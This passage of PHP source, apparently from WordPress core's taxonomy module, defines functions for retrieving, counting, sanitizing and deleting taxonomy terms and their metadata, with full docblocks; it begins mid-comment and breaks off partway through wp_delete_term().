'term_$taxonomy'. Both hooks gets the * term object, and the taxonomy name as parameters. Both hooks are expected to * return a term object. * * {@see 'get_term'} hook - Takes two parameters the term Object and the taxonomy name. * Must return term object. Used in get_term() as a catch-all filter for every * $term. * * {@see 'get_$taxonomy'} hook - Takes two parameters the term Object and the taxonomy * name. Must return term object. $taxonomy will be the taxonomy name, so for * example, if 'category', it would be 'get_category' as the filter name. Useful * for custom taxonomies or plugging into default taxonomies. * * @todo Better formatting for DocBlock * * @since 2.3.0 * @since 4.4.0 Converted to return a WP_Term object if `$output` is `OBJECT`. * The `$taxonomy` parameter was made optional. * * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. * * @param int|WP_Term|object $term If integer, term data will be fetched from the database, * or from the cache if available. * If stdClass object (as in the results of a database query), * will apply filters and return a `WP_Term` object with the `$term` data. * If `WP_Term`, will return `$term`. * @param string $taxonomy Optional. Taxonomy name that `$term` is part of. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize term fields. Default 'raw'. * @return WP_Term|array|WP_Error|null WP_Term instance (or array) on success, depending on the `$output` value. * WP_Error if `$taxonomy` does not exist. Null for miscellaneous failure. */ function get_term( $term, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) { if ( empty( $term ) ) { return new WP_Error( 'invalid_term', __( 'Empty Term.' ) ); } if ( $taxonomy && ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( $term instanceof WP_Term ) { $_term = $term; } elseif ( is_object( $term ) ) { if ( empty( $term->filter ) || 'raw' === $term->filter ) { $_term = sanitize_term( $term, $taxonomy, 'raw' ); $_term = new WP_Term( $_term ); } else { $_term = WP_Term::get_instance( $term->term_id ); } } else { $_term = WP_Term::get_instance( $term, $taxonomy ); } if ( is_wp_error( $_term ) ) { return $_term; } elseif ( ! $_term ) { return null; } // Ensure for filters that this is not empty. $taxonomy = $_term->taxonomy; $old_term = $_term; /** * Filters a taxonomy term object. * * The {@see 'get_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.3.0 * @since 4.4.0 `$_term` is now a `WP_Term` object. * * @param WP_Term $_term Term object. * @param string $taxonomy The taxonomy slug. */ $_term = apply_filters( 'get_term', $_term, $taxonomy ); /** * Filters a taxonomy term object. * * The dynamic portion of the hook name, `$taxonomy`, refers * to the slug of the term's taxonomy. * * Possible hook names include: * * - `get_category` * - `get_post_tag` * * @since 2.3.0 * @since 4.4.0 `$_term` is now a `WP_Term` object. * * @param WP_Term $_term Term object. * @param string $taxonomy The taxonomy slug. */ $_term = apply_filters( "get_{$taxonomy}", $_term, $taxonomy ); // Bail if a filter callback has changed the type of the `$_term` object. if ( ! ( $_term instanceof WP_Term ) ) { return $_term; } // Sanitize term, according to the specified filter. if ( $_term !== $old_term || $_term->filter !== $filter ) { $_term->filter( $filter ); } if ( ARRAY_A === $output ) { return $_term->to_array(); } elseif ( ARRAY_N === $output ) { return array_values( $_term->to_array() ); } return $_term; } /** * Gets all term data from database by term field and data. * * Warning: $value is not escaped for 'name' $field. You must do it yourself, if * required. * * The default $field is 'id', therefore it is possible to also use null for * field, but not recommended that you do so. * * If $value does not exist, the return value will be false. If $taxonomy exists * and $field and $value combinations exist, the term will be returned. * * This function will always return the first term that matches the `$field`- * `$value`-`$taxonomy` combination specified in the parameters. If your query * is likely to match more than one term (as is likely to be the case when * `$field` is 'name', for example), consider using get_terms() instead; that * way, you will get all matching terms, and can provide your own logic for * deciding which one was intended. * * @todo Better formatting for DocBlock. * * @since 2.3.0 * @since 4.4.0 `$taxonomy` is optional if `$field` is 'term_taxonomy_id'. Converted to return * a WP_Term object if `$output` is `OBJECT`. * @since 5.5.0 Added 'ID' as an alias of 'id' for the `$field` parameter. * * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. * * @param string $field Either 'slug', 'name', 'term_id' (or 'id', 'ID'), or 'term_taxonomy_id'. * @param string|int $value Search for this term value. * @param string $taxonomy Taxonomy name. Optional, if `$field` is 'term_taxonomy_id'. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize term fields. Default 'raw'. * @return WP_Term|array|false WP_Term instance (or array) on success, depending on the `$output` value. * False if `$taxonomy` does not exist or `$term` was not found. */ function get_term_by( $field, $value, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) { // 'term_taxonomy_id' lookups don't require taxonomy checks. if ( 'term_taxonomy_id' !== $field && ! taxonomy_exists( $taxonomy ) ) { return false; } // No need to perform a query for empty 'slug' or 'name'. if ( 'slug' === $field || 'name' === $field ) { $value = (string) $value; if ( 0 === strlen( $value ) ) { return false; } } if ( 'id' === $field || 'ID' === $field || 'term_id' === $field ) { $term = get_term( (int) $value, $taxonomy, $output, $filter ); if ( is_wp_error( $term ) || null === $term ) { $term = false; } return $term; } $args = array( 'get' => 'all', 'number' => 1, 'taxonomy' => $taxonomy, 'update_term_meta_cache' => false, 'orderby' => 'none', 'suppress_filter' => true, ); switch ( $field ) { case 'slug': $args['slug'] = $value; break; case 'name': $args['name'] = $value; break; case 'term_taxonomy_id': $args['term_taxonomy_id'] = $value; unset( $args['taxonomy'] ); break; default: return false; } $terms = get_terms( $args ); if ( is_wp_error( $terms ) || empty( $terms ) ) { return false; } $term = array_shift( $terms ); // In the case of 'term_taxonomy_id', override the provided `$taxonomy` with whatever we find in the DB. if ( 'term_taxonomy_id' === $field ) { $taxonomy = $term->taxonomy; } return get_term( $term, $taxonomy, $output, $filter ); } /** * Merges all term children into a single array of their IDs. * * This recursive function will merge all of the children of $term into the same * array of term IDs. Only useful for taxonomies which are hierarchical. * * Will return an empty array if $term does not exist in $taxonomy. * * @since 2.3.0 * * @param int $term_id ID of term to get children. * @param string $taxonomy Taxonomy name. * @return array|WP_Error List of term IDs. WP_Error returned if `$taxonomy` does not exist. */ function get_term_children( $term_id, $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $term_id = (int) $term_id; $terms = _get_term_hierarchy( $taxonomy ); if ( ! isset( $terms[ $term_id ] ) ) { return array(); } $children = $terms[ $term_id ]; foreach ( (array) $terms[ $term_id ] as $child ) { if ( $term_id === $child ) { continue; } if ( isset( $terms[ $child ] ) ) { $children = array_merge( $children, get_term_children( $child, $taxonomy ) ); } } return $children; } /** * Gets sanitized term field. * * The function is for contextual reasons and for simplicity of usage. * * @since 2.3.0 * @since 4.4.0 The `$taxonomy` parameter was made optional. `$term` can also now accept a WP_Term object. * * @see sanitize_term_field() * * @param string $field Term field to fetch. * @param int|WP_Term $term Term ID or object. * @param string $taxonomy Optional. Taxonomy name. Default empty. * @param string $context Optional. How to sanitize term fields. Look at sanitize_term_field() for available options. * Default 'display'. * @return string|int|null|WP_Error Will return an empty string if $term is not an object or if $field is not set in $term. */ function get_term_field( $field, $term, $taxonomy = '', $context = 'display' ) { $term = get_term( $term, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( ! is_object( $term ) ) { return ''; } if ( ! isset( $term->$field ) ) { return ''; } return sanitize_term_field( $field, $term->$field, $term->term_id, $term->taxonomy, $context ); } /** * Sanitizes term for editing. * * Return value is sanitize_term() and usage is for sanitizing the term for * editing. Function is for contextual and simplicity. * * @since 2.3.0 * * @param int|object $id Term ID or object. * @param string $taxonomy Taxonomy name. * @return string|int|null|WP_Error Will return empty string if $term is not an object. */ function get_term_to_edit( $id, $taxonomy ) { $term = get_term( $id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( ! is_object( $term ) ) { return ''; } return sanitize_term( $term, $taxonomy, 'edit' ); } /** * Retrieves the terms in a given taxonomy or list of taxonomies. * * You can fully inject any customizations to the query before it is sent, as * well as control the output with a filter. * * The return type varies depending on the value passed to `$args['fields']`. See * WP_Term_Query::get_terms() for details. In all cases, a `WP_Error` object will * be returned if an invalid taxonomy is requested. * * The {@see 'get_terms'} filter will be called when the cache has the term and will * pass the found term along with the array of $taxonomies and array of $args. * This filter is also called before the array of terms is passed and will pass * the array of terms, along with the $taxonomies and $args. * * The {@see 'list_terms_exclusions'} filter passes the compiled exclusions along with * the $args. * * The {@see 'get_terms_orderby'} filter passes the `ORDER BY` clause for the query * along with the $args array. * * Taxonomy or an array of taxonomies should be passed via the 'taxonomy' argument * in the `$args` array: * * $terms = get_terms( array( * 'taxonomy' => 'post_tag', * 'hide_empty' => false, * ) ); * * Prior to 4.5.0, taxonomy was passed as the first parameter of `get_terms()`. * * @since 2.3.0 * @since 4.2.0 Introduced 'name' and 'childless' parameters. * @since 4.4.0 Introduced the ability to pass 'term_id' as an alias of 'id' for the `orderby` parameter. * Introduced the 'meta_query' and 'update_term_meta_cache' parameters. Converted to return * a list of WP_Term objects. * @since 4.5.0 Changed the function signature so that the `$args` array can be provided as the first parameter. * Introduced 'meta_key' and 'meta_value' parameters. Introduced the ability to order results by metadata. * @since 4.8.0 Introduced 'suppress_filter' parameter. * * @internal The `$deprecated` parameter is parsed for backward compatibility only. * * @param array|string $args Optional. Array or string of arguments. See WP_Term_Query::__construct() * for information on accepted arguments. Default empty array. * @param array|string $deprecated Optional. Argument array, when using the legacy function parameter format. * If present, this parameter will be interpreted as `$args`, and the first * function parameter will be parsed as a taxonomy or array of taxonomies. * Default empty. * @return WP_Term[]|int[]|string[]|string|WP_Error Array of terms, a count thereof as a numeric string, * or WP_Error if any of the taxonomies do not exist. * See the function description for more information. */ function get_terms( $args = array(), $deprecated = '' ) { $term_query = new WP_Term_Query(); $defaults = array( 'suppress_filter' => false, ); /* * Legacy argument format ($taxonomy, $args) takes precedence. * * We detect legacy argument format by checking if * (a) a second non-empty parameter is passed, or * (b) the first parameter shares no keys with the default array (ie, it's a list of taxonomies) */ $_args = wp_parse_args( $args ); $key_intersect = array_intersect_key( $term_query->query_var_defaults, (array) $_args ); $do_legacy_args = $deprecated || empty( $key_intersect ); if ( $do_legacy_args ) { $taxonomies = (array) $args; $args = wp_parse_args( $deprecated, $defaults ); $args['taxonomy'] = $taxonomies; } else { $args = wp_parse_args( $args, $defaults ); if ( isset( $args['taxonomy'] ) && null !== $args['taxonomy'] ) { $args['taxonomy'] = (array) $args['taxonomy']; } } if ( ! empty( $args['taxonomy'] ) ) { foreach ( $args['taxonomy'] as $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } } } // Don't pass suppress_filter to WP_Term_Query. $suppress_filter = $args['suppress_filter']; unset( $args['suppress_filter'] ); $terms = $term_query->query( $args ); // Count queries are not filtered, for legacy reasons. if ( ! is_array( $terms ) ) { return $terms; } if ( $suppress_filter ) { return $terms; } /** * Filters the found terms. * * @since 2.3.0 * @since 4.6.0 Added the `$term_query` parameter. * * @param array $terms Array of found terms. * @param array|null $taxonomies An array of taxonomies if known. * @param array $args An array of get_terms() arguments. * @param WP_Term_Query $term_query The WP_Term_Query object. */ return apply_filters( 'get_terms', $terms, $term_query->query_vars['taxonomy'], $term_query->query_vars, $term_query ); } /** * Adds metadata to a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Arrays and objects are stored as serialized data and * will be returned as the same type when retrieved. Other data types will * be stored as strings in the database: * - false is stored and retrieved as an empty string ('') * - true is stored and retrieved as '1' * - numbers (both integer and float) are stored and retrieved as strings * Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false|WP_Error Meta ID on success, false on failure. * WP_Error when term_id is ambiguous between taxonomies. */ function add_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) { if ( wp_term_is_shared( $term_id ) ) { return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.' ), $term_id ); } return add_metadata( 'term', $term_id, $meta_key, $meta_value, $unique ); } /** * Removes metadata matching criteria from a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. */ function delete_term_meta( $term_id, $meta_key, $meta_value = '' ) { return delete_metadata( 'term', $term_id, $meta_key, $meta_value ); } /** * Retrieves metadata for a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. Default empty. * @param bool $single Optional. Whether to return a single value. * This parameter has no effect if `$key` is not specified. * Default false. * @return mixed An array of values if `$single` is false. * The value of the meta field if `$single` is true. * False for an invalid `$term_id` (non-numeric, zero, or negative value). * An empty array if a valid but non-existing term ID is passed and `$single` is false. * An empty string if a valid but non-existing term ID is passed and `$single` is true. * Note: Non-serialized values are returned as strings: * - false values are returned as empty strings ('') * - true values are returned as '1' * - numbers are returned as strings * Arrays and objects retain their original type. */ function get_term_meta( $term_id, $key = '', $single = false ) { return get_metadata( 'term', $term_id, $key, $single ); } /** * Updates term metadata. * * Use the `$prev_value` parameter to differentiate between meta fields with the same key and term ID. * * If the meta field for the term does not exist, it will be added. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool|WP_Error Meta ID if the key didn't exist. true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. * WP_Error when term_id is ambiguous between taxonomies. */ function update_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) { if ( wp_term_is_shared( $term_id ) ) { return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.' ), $term_id ); } return update_metadata( 'term', $term_id, $meta_key, $meta_value, $prev_value ); } /** * Updates metadata cache for list of term IDs. * * Performs SQL query to retrieve all metadata for the terms matching `$term_ids` and stores them in the cache. * Subsequent calls to `get_term_meta()` will not need to query the database. * * @since 4.4.0 * * @param array $term_ids List of term IDs. * @return array|false An array of metadata on success, false if there is nothing to update. */ function update_termmeta_cache( $term_ids ) { return update_meta_cache( 'term', $term_ids ); } /** * Queue term meta for lazy-loading. * * @since 6.3.0 * * @param array $term_ids List of term IDs. */ function wp_lazyload_term_meta( array $term_ids ) { if ( empty( $term_ids ) ) { return; } $lazyloader = wp_metadata_lazyloader(); $lazyloader->queue_objects( 'term', $term_ids ); } /** * Gets all meta data, including meta IDs, for the given term ID. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id Term ID. * @return array|false Array with meta data, or false when the meta table is not installed. */ function has_term_meta( $term_id ) { $check = wp_check_term_meta_support_prefilter( null ); if ( null !== $check ) { return $check; } global $wpdb; return $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value, meta_id, term_id FROM $wpdb->termmeta WHERE term_id = %d ORDER BY meta_key,meta_id", $term_id ), ARRAY_A ); } /** * Registers a meta key for terms. * * @since 4.9.8 * * @param string $taxonomy Taxonomy to register a meta key for. Pass an empty string * to register the meta key across all existing taxonomies. * @param string $meta_key The meta key to register. * @param array $args Data used to describe the meta key when registered. See * {@see register_meta()} for a list of supported arguments. * @return bool True if the meta key was successfully registered, false if not. */ function register_term_meta( $taxonomy, $meta_key, array $args ) { $args['object_subtype'] = $taxonomy; return register_meta( 'term', $meta_key, $args ); } /** * Unregisters a meta key for terms. * * @since 4.9.8 * * @param string $taxonomy Taxonomy the meta key is currently registered for. Pass * an empty string if the meta key is registered across all * existing taxonomies. * @param string $meta_key The meta key to unregister. * @return bool True on success, false if the meta key was not previously registered. */ function unregister_term_meta( $taxonomy, $meta_key ) { return unregister_meta_key( 'term', $meta_key, $taxonomy ); } /** * Determines whether a taxonomy term exists. * * Formerly is_term(), introduced in 2.3.0. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.0.0 * @since 6.0.0 Converted to use `get_terms()`. * * @global bool $_wp_suspend_cache_invalidation * * @param int|string $term The term to check. Accepts term ID, slug, or name. * @param string $taxonomy Optional. The taxonomy name to use. * @param int $parent_term Optional. ID of parent term under which to confine the exists search. * @return mixed Returns null if the term does not exist. * Returns the term ID if no taxonomy is specified and the term ID exists. * Returns an array of the term ID and the term taxonomy ID if the taxonomy is specified and the pairing exists. * Returns 0 if term ID 0 is passed to the function. */ function term_exists( $term, $taxonomy = '', $parent_term = null ) { global $_wp_suspend_cache_invalidation; if ( null === $term ) { return null; } $defaults = array( 'get' => 'all', 'fields' => 'ids', 'number' => 1, 'update_term_meta_cache' => false, 'order' => 'ASC', 'orderby' => 'term_id', 'suppress_filter' => true, ); // Ensure that while importing, queries are not cached. if ( ! empty( $_wp_suspend_cache_invalidation ) ) { $defaults['cache_results'] = false; } if ( ! empty( $taxonomy ) ) { $defaults['taxonomy'] = $taxonomy; $defaults['fields'] = 'all'; } /** * Filters default query arguments for checking if a term exists. * * @since 6.0.0 * * @param array $defaults An array of arguments passed to get_terms(). * @param int|string $term The term to check. Accepts term ID, slug, or name. * @param string $taxonomy The taxonomy name to use. An empty string indicates * the search is against all taxonomies. * @param int|null $parent_term ID of parent term under which to confine the exists search. * Null indicates the search is unconfined. */ $defaults = apply_filters( 'term_exists_default_query_args', $defaults, $term, $taxonomy, $parent_term ); if ( is_int( $term ) ) { if ( 0 === $term ) { return 0; } $args = wp_parse_args( array( 'include' => array( $term ) ), $defaults ); $terms = get_terms( $args ); } else { $term = trim( wp_unslash( $term ) ); if ( '' === $term ) { return null; } if ( ! empty( $taxonomy ) && is_numeric( $parent_term ) ) { $defaults['parent'] = (int) $parent_term; } $args = wp_parse_args( array( 'slug' => sanitize_title( $term ) ), $defaults ); $terms = get_terms( $args ); if ( empty( $terms ) || is_wp_error( $terms ) ) { $args = wp_parse_args( array( 'name' => $term ), $defaults ); $terms = get_terms( $args ); } } if ( empty( $terms ) || is_wp_error( $terms ) ) { return null; } $_term = array_shift( $terms ); if ( ! empty( $taxonomy ) ) { return array( 'term_id' => (string) $_term->term_id, 'term_taxonomy_id' => (string) $_term->term_taxonomy_id, ); } return (string) $_term; } /** * Checks if a term is an ancestor of another term. * * You can use either an ID or the term object for both parameters. * * @since 3.4.0 * * @param int|object $term1 ID or object to check if this is the parent term. * @param int|object $term2 The child term. * @param string $taxonomy Taxonomy name that $term1 and `$term2` belong to. * @return bool Whether `$term2` is a child of `$term1`. */ function term_is_ancestor_of( $term1, $term2, $taxonomy ) { if ( ! isset( $term1->term_id ) ) { $term1 = get_term( $term1, $taxonomy ); } if ( ! isset( $term2->parent ) ) { $term2 = get_term( $term2, $taxonomy ); } if ( empty( $term1->term_id ) || empty( $term2->parent ) ) { return false; } if ( $term2->parent === $term1->term_id ) { return true; } return term_is_ancestor_of( $term1, get_term( $term2->parent, $taxonomy ), $taxonomy ); } /** * Sanitizes all term fields. * * Relies on sanitize_term_field() to sanitize the term. The difference is that * this function will sanitize **all** fields. The context is based * on sanitize_term_field(). * * The `$term` is expected to be either an array or an object. * * @since 2.3.0 * * @param array|object $term The term to check. * @param string $taxonomy The taxonomy name to use. * @param string $context Optional. Context in which to sanitize the term. * Accepts 'raw', 'edit', 'db', 'display', 'rss', * 'attribute', or 'js'. Default 'display'. * @return array|object Term with all fields sanitized. */ function sanitize_term( $term, $taxonomy, $context = 'display' ) { $fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' ); $do_object = is_object( $term ); $term_id = $do_object ? $term->term_id : ( isset( $term['term_id'] ) ? $term['term_id'] : 0 ); foreach ( (array) $fields as $field ) { if ( $do_object ) { if ( isset( $term->$field ) ) { $term->$field = sanitize_term_field( $field, $term->$field, $term_id, $taxonomy, $context ); } } else { if ( isset( $term[ $field ] ) ) { $term[ $field ] = sanitize_term_field( $field, $term[ $field ], $term_id, $taxonomy, $context ); } } } if ( $do_object ) { $term->filter = $context; } else { $term['filter'] = $context; } return $term; } /** * Sanitizes the field value in the term based on the context. * * Passing a term field value through the function should be assumed to have * cleansed the value for whatever context the term field is going to be used. * * If no context or an unsupported context is given, then default filters will * be applied. * * There are enough filters for each context to support a custom filtering * without creating your own filter function. Simply create a function that * hooks into the filter you need. * * @since 2.3.0 * * @param string $field Term field to sanitize. * @param string $value Search for this term value. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @param string $context Context in which to sanitize the term field. * Accepts 'raw', 'edit', 'db', 'display', 'rss', * 'attribute', or 'js'. Default 'display'. * @return mixed Sanitized field. */ function sanitize_term_field( $field, $value, $term_id, $taxonomy, $context ) { $int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; if ( $value < 0 ) { $value = 0; } } $context = strtolower( $context ); if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { /** * Filters a term field to edit before it is sanitized. * * The dynamic portion of the hook name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "edit_term_{$field}", $value, $term_id, $taxonomy ); /** * Filters the taxonomy field to edit before it is sanitized. * * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer * to the taxonomy slug and taxonomy field, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field to edit. * @param int $term_id Term ID. */ $value = apply_filters( "edit_{$taxonomy}_{$field}", $value, $term_id ); if ( 'description' === $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { /** * Filters a term field value before it is sanitized. * * The dynamic portion of the hook name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "pre_term_{$field}", $value, $taxonomy ); /** * Filters a taxonomy field before it is sanitized. * * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer * to the taxonomy slug and field name, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. */ $value = apply_filters( "pre_{$taxonomy}_{$field}", $value ); // Back compat filters. if ( 'slug' === $field ) { /** * Filters the category nicename before it is sanitized. * * Use the {@see 'pre_$taxonomy_$field'} hook instead. * * @since 2.0.3 * * @param string $value The category nicename. */ $value = apply_filters( 'pre_category_nicename', $value ); } } elseif ( 'rss' === $context ) { /** * Filters the term field for use in RSS. * * The dynamic portion of the hook name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "term_{$field}_rss", $value, $taxonomy ); /** * Filters the taxonomy field for use in RSS. * * The dynamic portions of the hook name, `$taxonomy`, and `$field`, refer * to the taxonomy slug and field name, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. */ $value = apply_filters( "{$taxonomy}_{$field}_rss", $value ); } else { // Use display filters by default. /** * Filters the term field sanitized for display. * * The dynamic portion of the hook name, `$field`, refers to the term field name. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param string $context Context to retrieve the term field value. */ $value = apply_filters( "term_{$field}", $value, $term_id, $taxonomy, $context ); /** * Filters the taxonomy field sanitized for display. * * The dynamic portions of the filter name, `$taxonomy`, and `$field`, refer * to the taxonomy slug and taxonomy field, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. * @param int $term_id Term ID. * @param string $context Context to retrieve the taxonomy field value. */ $value = apply_filters( "{$taxonomy}_{$field}", $value, $term_id, $context ); } if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } // Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } /** * Counts how many terms are in taxonomy. * * Default $args is 'hide_empty' which can be 'hide_empty=true' or array('hide_empty' => true). * * @since 2.3.0 * @since 5.6.0 Changed the function signature so that the `$args` array can be provided as the first parameter. * * @internal The `$deprecated` parameter is parsed for backward compatibility only. * * @param array|string $args Optional. Array or string of arguments. See WP_Term_Query::__construct() * for information on accepted arguments. Default empty array. * @param array|string $deprecated Optional. Argument array, when using the legacy function parameter format. * If present, this parameter will be interpreted as `$args`, and the first * function parameter will be parsed as a taxonomy or array of taxonomies. * Default empty. * @return string|WP_Error Numeric string containing the number of terms in that * taxonomy or WP_Error if the taxonomy does not exist. */ function wp_count_terms( $args = array(), $deprecated = '' ) { $use_legacy_args = false; // Check whether function is used with legacy signature: `$taxonomy` and `$args`. if ( $args && ( is_string( $args ) && taxonomy_exists( $args ) || is_array( $args ) && wp_is_numeric_array( $args ) ) ) { $use_legacy_args = true; } $defaults = array( 'hide_empty' => false ); if ( $use_legacy_args ) { $defaults['taxonomy'] = $args; $args = $deprecated; } $args = wp_parse_args( $args, $defaults ); // Backward compatibility. if ( isset( $args['ignore_empty'] ) ) { $args['hide_empty'] = $args['ignore_empty']; unset( $args['ignore_empty'] ); } $args['fields'] = 'count'; return get_terms( $args ); } /** * Unlinks the object from the taxonomy or taxonomies. * * Will remove all relationships between the object and any terms in * a particular taxonomy or taxonomies. Does not remove the term or * taxonomy itself. * * @since 2.3.0 * * @param int $object_id The term object ID that refers to the term. * @param string|array $taxonomies List of taxonomy names or single taxonomy name. */ function wp_delete_object_term_relationships( $object_id, $taxonomies ) { $object_id = (int) $object_id; if ( ! is_array( $taxonomies ) ) { $taxonomies = array( $taxonomies ); } foreach ( (array) $taxonomies as $taxonomy ) { $term_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids' ) ); $term_ids = array_map( 'intval', $term_ids ); wp_remove_object_terms( $object_id, $term_ids, $taxonomy ); } } /** * Removes a term from the database. * * If the term is a parent of other terms, then the children will be updated to * that term's parent. * * Metadata associated with the term will be deleted. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term Term ID. * @param string $taxonomy Taxonomy name. * @param array|string $args { * Optional. Array of arguments to override the default term ID. Default empty array. * * @type int $default The term ID to make the default term. This will only override * the terms found if there is only one term found. Any other and * the found terms are used. * @type bool $force_default Optional. Whether to force the supplied term as default to be * assigned even if the object was not going to be term-less. * Default false. * } * @return bool|int|WP_Error True on success, false if term does not exist. Zero on attempted * deletion of default Category. WP_Error if the taxonomy does not exist. */ function wp_delete_term( $term, $taxonomy, $args = array() ) { global $wpdb; $term = (int) $term; $ids = term_exists( $term, $taxonomy ); if ( ! $ids ) { return false; } if ( is_wp_error( $ids ) ) { return $ids; } $tt_id = $ids['term_taxonomy_id']; $defaults = array(); if ( 'category' === $taxonomy ) { $defaults['default'] = (int) get_option( 'default_category' ); if ( $defaults['default'] === $term ) { return 0; // Don't delete the default category. } } // Don't delete the default custom taxonomy term. $taxonomy_object = get_taxonomy( $taxonomy ); if ( ! empty( $taxonomy_object->default_term ) ) { $defaults['default'] = (int) get_option( 'default_term_' . $taxonomy ); if ( $defaults['default'] === $term ) { return 0; } } $args = wp_parse_args( $args, $defaults ); if ( isset( $args['default'] ) ) { $default = (int) $args['default']; if ( ! term_exists( $default, $taxonomy ) ) { unset( $default ); } } if ( isset( $args['force_default'] ) ) { $force_default = $args['force_default']; } /** * Fires when deleting a term, before any modifications are made to posts or terms. * * @since 4.1.0 * * @param int $term Term ID. * @param string $taxonomy Taxonomy name. */ do_action( 'pre_delete_term', $term, $taxonomy ); // Update children to point to new parent. if ( is_taxonomy_hierarchical( $taxonomy ) ) { $term_obj = get_term( $term, $taxonomy ); if ( is_wp_error( $term_obj ) ) { return $term_obj; } $parent = $term_obj->parent; $edit_ids = $wpdb->get_results( "SELECT term_id, term_taxonomy_id FROM $wpdb->term_taxonomy WHERE `parent` = " . (int) $term_obj->term_id ); $edit_tt_ids = wp_list_pluck( $edit_ids, 'term_taxonomy_id' ); /** * Fires immediately before a term to delete's children are reassigned a parent. * * @since 2.9.0 * * @param array $edit_tt_ids An array of term taxonomy IDs for the given term. */ do_action( 'edit_term_taxonomies', $edit_tt_ids ); $wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id ) + compact( 'taxonomy' ) ); // Clean the cache for all child terms. $edit_term_ids = wp_list_pluck( $edit_ids, 'term_id' ); clean_term_cache( $edit_term_ids, $taxonomy ); /** * Fires immediately after a term to delete's children are reassigned a parent. * * @since 2.9.0 * * @param array $edit_tt_ids An array of term taxonomy IDs for the given term. */ do_action( 'edited_term_taxonomies', $edit_tt_ids ); } // Get the term before deleting it or its term relationships so we can pass to actions below. $deleted_term = get_term( $term, $taxonomy ); $object_ids = (array) $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) ); foreach ( $object_ids as $object_id ) { if ( ! isset( $default ) ) { wp_remove_object_terms( $object_id, $term, $taxonomy ); continue; } $terms = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids', 'orderby' => 'none', ) ); if ( 1 === count( $terms ) && isset( $default ) ) { $terms = array( $default ); } else { $terms = array_diff( $terms, array( $term ) ); if ( isset( $default ) && isset( $force_default ) && $force_default ) { $terms = array_merge( $terms, array( $default ) ); } } $terms = array_map( 'intval', $terms ); wp_set_object_terms( $object_id, $terms, $taxonomy ); } // Clean the relationship caches for all object types using this 